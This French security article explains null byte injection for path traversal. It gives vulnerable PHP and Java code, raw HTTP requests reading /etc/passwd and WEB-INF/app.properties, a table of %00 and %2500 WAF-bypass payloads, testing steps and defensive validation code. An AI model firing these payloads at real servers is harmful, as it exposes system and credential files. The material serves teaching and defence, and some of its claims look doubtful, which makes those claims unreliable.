Injection null byte (CWE-22) : %00 termine la chaîne côté applicatif tandis que le système de fichiers traite le chemin complet — bypass des vérifications d'extension.
TL;DR
../WEB-INF/app.properties%00.htm contourne le filtre d'extension .htm dans Java/Tomcat%2500 contourne les règles WAF qui bloquent %00realpath(), jamais avant — et utiliser une liste blanche, pas une liste noireL'injection null byte exploite la frontière entre la sémantique de chaîne des langages de haut niveau et la terminaison de chaîne du runtime C de bas niveau. En C, les chaînes sont terminées par le caractère null (\0, valeur ASCII 0, encodé en pourcentage comme %00). Les langages de haut niveau comme PHP, Java et Python utilisent des chaînes à préfixe de longueur ou à ramasse-miettes en interne et ne terminent pas aux null bytes. Quand ces runtimes de haut niveau passent des chaînes aux fonctions de bibliothèque C sous-jacentes — fopen(), stat(), open() — la bibliothèque C termine la chaîne au premier \0.
Une application qui ajoute une extension fixe à l'entrée utilisateur avant de la passer à une fonction du système de fichiers est vulnérable : include($base . $user_input . ".php"). Un attaquant injecte ../../etc/passwd%00 comme $user_input. La chaîne PHP contient ../../etc/passwd\0.php. La vérification d'extension PHP voit .php ajouté. Mais quand PHP appelle la fonction C fopen(), la bibliothèque C ne lit que jusqu'au \0 — le résultat est ../../etc/passwd. Le filtrage d'extension est contourné.
Sous CWE-22 et OWASP A01:2021, c'est une variante du path traversal qui défait une couche de défense courante (et insuffisante). PHP 5.3.4 a corrigé la gestion des null bytes dans les fonctions du système de fichiers en 2009, mais la classe de vulnérabilité reste pertinente dans les déploiements PHP hérités, les applications Java utilisant JNI pour l'accès natif au système de fichiers, les scripts CGI et tout parser personnalisé qui passe l'entrée utilisateur via un appel de bibliothèque C.
Chaîne au niveau applicatif : /includes/../../../../etc/passwd\0.php
Vue de la bibliothèque C (fopen) : /includes/../../../../etc/passwd
Résultat (après résolution) : /etc/passwdLe filtre d'extension au niveau PHP voit .php et laisse passer. Le runtime C ignore tout après \0.
<?php
// Motif PHP VULNÉRABLE — extension fixe ajoutée
$base = '/var/www/includes/';
$page = $_GET['page'];
// Intention du développeur : charger uniquement des fichiers .php
include($base . $page . '.php');
// Payload : ?page=../../../../etc/passwd%00
// Chaîne PHP : /var/www/includes/../../../../etc/passwd\0.php
// C fopen : lit /var/www/includes/../../../../etc/passwd
// Résolution vers : /etc/passwdGET /view.php?page=../../../../etc/passwd%00 HTTP/1.1
Host: php-legacy.example.com
HTTP/1.1 200 OK
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinQuand un WAF ou filtre d'entrée bloque explicitement %00, la forme double encodée %2500 contourne le filtre :
%00 → null byte (bloqué par WAF)
%2500 → premier décodage : %00 (le WAF laisse passer %2500 car il voit %25 puis 00)
second décodage : \0 (l'application décode %00 en null byte)GET /download?file=../../etc/passwd%2500.pdf HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash| Variante | Payload | Environnement cible | Contournement |
|---|---|---|---|
| Null byte classique | ../../etc/passwd%00.txt | PHP avant 5.3.4 | Filtre d'extension |
| Null double encodé | ../../etc/passwd%2500.txt | Systèmes bloquant %00 | Filtre WAF null byte |
| Null + traversée | ....//....//....//....//....//{file}%00.txt | PHP hérité + vérif. extension | Filtre traversée ET filtre extension |
| JSP null Java | ../WEB-INF/app.properties%00.htm | Apps Java Tomcat JSP | Filtre d'extension JSP |
| Null byte Go | ../../etc/passwd\x00.txt dans le corps | Apps Go avec appels bibliothèque C | Vérification d'extension dans le code Go |
| Null byte CGI | ../../../../etc/passwd%00.cgi | Scripts CGI avec vérif. extension | Routage d'extension CGI |
Les applications Java modernes utilisant JNI pour l'accès natif au système de fichiers héritent de la sémantique du null byte C via le pont JNI :
// Chaîne Java contenant un caractère null (U+0000)
String userInput = "../../../../etc/passwd .pdf";
// Java voit une chaîne de 24 caractères se terminant par ".pdf"
// Vérification d'extension au niveau Java : userInput.endsWith(".pdf") → true
// Quand passé à la méthode native JNI :
// L'encodage JNI Modified UTF-8 passe le null byte à la couche C
// Bibliothèque C : lit jusqu'à \0, accède à ../../../../etc/passwd
nativeFileReader.readFile(basePath + userInput);Ce motif est le plus courant dans les ponts JNI de pilotes de base de données, les bibliothèques de traitement d'images utilisant du code natif (wrappers JNI ImageMagick) et les systèmes de gestion de fichiers personnalisés avec des optimisations natives.
IBM's AltoroJ (une application Java/Tomcat intentionnellement vulnérable utilisée dans la formation à la sécurité et le ciblage de pentest) s'est révélée vulnérable à l'injection null byte via le paramètre de contenu JSP :
GET /index.jsp?content=../WEB-INF/app.properties%00.htm HTTP/1.1
Host: demo.testfire.net
HTTP/1.1 200 OK
# Configuration de l'application
app.admin.username=admin
app.admin.password=admin
database.url=jdbc:db2://localhost:50000/sampleLa vérification d'extension JSP de l'application voyait .htm et autorisait la requête. La résolution du fichier atteignait WEB-INF/app.properties — exposant les credentials de base de données et les détails du compte admin.
AltoroJ / IBM Security Demo Target : contournement null byte confirmé dans une application JSP Java/Tomcat. La requête GET /index.jsp?content=../WEB-INF/app.properties%00.htm contournait la vérification d'extension .htm dans le paramètre de chargement de contenu. Aussi confirmé : GET /index.jsp?content=../WEB-INF/web.xml (sans null byte, comme test séparé démontrant la traversée de base). Source : jeu de données de vérité terrain pentest BreachVex, validation de la cible testfire/altoro.
Applications PHP héritées (Motif pre-5.3.4) : le contournement null byte a été documenté dans CVE-2006-4483 (PHP wordwrap()) et de nombreux CVE au niveau applicatif dans la période 2004-2009. La guidance OWASP sur le path traversal documente le motif pour PHP 4.x et 5.x avant 5.3.4. Les environnements d'hébergement partagé fonctionnant sur PHP 5.2.x (courant sur les hôtes cPanel hérités aussi récemment qu'en 2019-2021) restent vulnérables. Le motif apparaît dans les findings d'évaluation de sécurité pour les applications gouvernementales et ONG utilisant des infrastructures d'hébergement héritées.
CVE-2024-23897 Adjacent Pattern (Jenkins) : bien que CVE-2024-23897 lui-même soit un problème d'analyseur CLI args4j, l'avis Jenkins confirmait que certaines tentatives de contournement impliquaient l'injection null byte dans la syntaxe de référence de fichier @. Les attaquants testaient si ajouter %00 après le chemin contournerait la validation de chemin dans le code d'expansion d'argument CLI. La correction de Jenkins gérait explicitement les null bytes dans la validation de chemin ajoutée dans Jenkins 2.442.
../../etc/passwd.xyz — si cela retourne une erreur mais que ../../etc/passwd.jpg réussit (ou retourne différemment), un filtre d'extension est actif.%00.txt à un payload de traversée : ../../etc/passwd%00.txt. Comparer la réponse avec le même payload sans le null byte.%00 est bloqué par un WAF ou filtre d'entrée, tester la forme double encodée : ../../etc/passwd%2500.txt..htm et .html après le null byte : ../WEB-INF/web.xml%00.htm.root:x:0:0: pour /etc/passwd, <web-app pour WEB-INF/web.xml.BreachVex teste les variantes null byte incluant {file}%00.png, ....//....//....//....//....//{file}%00.txt et ..%2500/../../../{file} (null byte double encodé) dans le cadre de sa suite de 22 payloads du prouveur LFI étendu. La porte de contenu garantit que les contournements de vérification d'extension sont confirmés par une détection réelle de marqueur de fichier plutôt que par un simple code de statut HTTP différent. BreachVex escalade la sévérité selon le fichier accédé — CRITICAL pour /etc/shadow ou les fichiers de credentials, HIGH pour les fichiers de configuration et d'environnement.
import os
ALLOWED_EXTENSIONS = {".pdf", ".png", ".jpg", ".jpeg", ".csv"}
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(filename: str) -> bytes:
# Étape 1 : résolution canonique — résout toute traversée ET abandonne les null bytes
# os.path.realpath gère les null bytes dans Python 3 (lève ValueError sur les null bytes)
try:
resolved = os.path.realpath(os.path.join(BASE_DIR, filename))
except ValueError:
raise PermissionError("Null byte dans le nom de fichier rejeté")
# Étape 2 : valider que le chemin résolu est dans la base
if not resolved.startswith(BASE_DIR + os.sep):
raise PermissionError("Path traversal bloqué")
# Étape 3 : valider l'extension APRÈS résolution (pas avant)
ext = os.path.splitext(resolved)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"Type de fichier non autorisé : {ext!r}")
with open(resolved, "rb") as f:
return f.read()Dans Python 3, os.path.realpath lève ValueError quand le chemin contient un null byte — cela fournit un rejet automatique des null bytes. Le point architectural clé : valider l'extension sur le chemin canonique résolu, pas sur l'entrée utilisateur brute. Cela prévient le contournement null byte car le chemin résolu ne contient pas de null bytes.
<?php
// PHP 5.3.4+ — les null bytes dans les fonctions du système de fichiers lèvent des avertissements/erreurs
// Toujours bonne pratique de rejeter explicitement les null bytes
function safe_include(string $page): void {
$base = realpath('/var/www/includes/');
// Rejet explicite des null bytes (ceinture et bretelles)
if (strpos($page, "\0") !== false || strpos($page, "%00") !== false) {
http_response_code(400);
exit("Nom de fichier invalide");
}
$resolved = realpath($base . '/' . $page . '.php');
if ($resolved === false || strpos($resolved, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit("Interdit");
}
include $resolved;
}Python 3 lève ValueError: embedded null byte quand os.path.realpath ou open() reçoit un chemin avec un null byte. Cela fournit une protection automatique dans les applications Python 3. Le risque reste dans les applications qui utilisent des modules d'extension C pour l'accès au système de fichiers, qui peuvent ne pas lever la même erreur.
Quel que soit la protection au niveau applicatif, rejeter explicitement toute entrée contenant %00, \0 ou \x00 au niveau de la couche de validation d'entrée :
def validate_filename(filename: str) -> str:
if "\x00" in filename or "%00" in filename.lower() or "%2500" in filename.lower():
raise ValueError("Null byte dans le nom de fichier rejeté")
return filenameL'injection null byte (CWE-22) ajoute un caractère null (%00 ou \0) à un chemin fourni par l'utilisateur pour terminer le traitement de la chaîne au niveau applicatif pendant que le runtime C sous-jacent ou l'OS lit le chemin complet jusqu'au null byte. Le cas d'usage classique est le contournement des filtres d'extension : ../../etc/passwd%00.jpg satisfait une vérification d'extension .jpg au niveau de la chaîne PHP, mais l'appel C fopen() ne lit que jusqu'à \0, accédant à /etc/passwd.
Le vecteur PHP (null byte dans include/require) a été corrigé dans PHP 5.3.4 (2009). Cependant, l'injection null byte reste pertinente dans : (1) les applications écrites en C/C++ avec des parsers HTTP personnalisés, (2) les applications Java qui appellent du code natif via JNI, (3) les applications CGI qui passent des chemins à system() ou exec(), (4) les systèmes IoT embarqués sur des stacks PHP hérités, (5) les applications Go utilisant os.ReadFile avec des chemins de chaîne qui passent par des bibliothèques C. La variante double encodée %2500 contourne aussi les règles WAF qui bloquent %00.
Les versions PHP antérieures à 5.3.4 sont vulnérables. PHP 5.3.4 a été publié en décembre 2009 et a explicitement corrigé la gestion des null bytes dans les fonctions du système de fichiers (fopen, file_get_contents, include, require, readfile). PHP 5.3.x est en fin de vie depuis 2014, mais des déploiements en production sur d'anciens environnements d'hébergement (hébergement partagé, anciens systèmes gouvernementaux, appareils embarqués) existent encore.
%2500 est un null byte double encodé. %00 est l'encodage URL du caractère null (ASCII 0). Encoder %00 à nouveau donne %2500 (% s'encode en %25). Un WAF ou filtre d'entrée qui bloque %00 laisse passer %2500. Quand l'application décode l'URL, %25 devient %, donnant %00, qui est ensuite interprété comme terminateur null par les appels de bibliothèque C.
Dans l'application de cible de pentest AltoroJ d'IBM (Java/Tomcat), la requête GET /index.jsp?content=../WEB-INF/app.properties%00.htm contournait le filtre d'extension .htm. Le null byte terminait la chaîne Java à .htm dans la vérification du filtre, mais le système de fichiers résolvait le chemin sans le suffixe .htm, retournant le contenu du fichier app.properties.
Les chaînes Java sont UTF-16 en interne et peuvent contenir des caractères null (point de code Unicode U+0000). Quand Java passe une String au code natif via JNI, le pont JNI la convertit en une séquence UTF-8 modifiée qui peut passer des null bytes à la bibliothèque C sous-jacente. Les applications utilisant JNI pour l'accès au système de fichiers — comme les pilotes de base de données, les bibliothèques de traitement d'images, ou les intégrations héritées — peuvent être vulnérables même sur des JVM modernes.
Quand le code PHP ajoute une extension fixe : include('/includes/' . $_GET['page'] . '.php'). Envoyer page=../../../../etc/passwd%00 résulte en la chaîne /includes/../../../../etc/passwd\0.php. La vérification d'extension PHP voit .php ajouté. Mais quand PHP appelle la fonction C fopen(), le runtime C lit jusqu'au terminateur null, accédant à /etc/passwd. Le suffixe .php est ignoré. Corrigé dans PHP 5.3.4.
Ajouter %00.txt (ou %00.jpg, %00.pdf) au payload de traversée. Si la réponse diffère du même payload sans le null byte — particulièrement si l'application rejetait précédemment la requête à cause du filtrage d'extension — le null byte contourne la validation d'extension. Tester aussi %2500.txt (double encodé) pour contourner les filtres WAF de null byte. Tester sur les cibles Linux et Windows.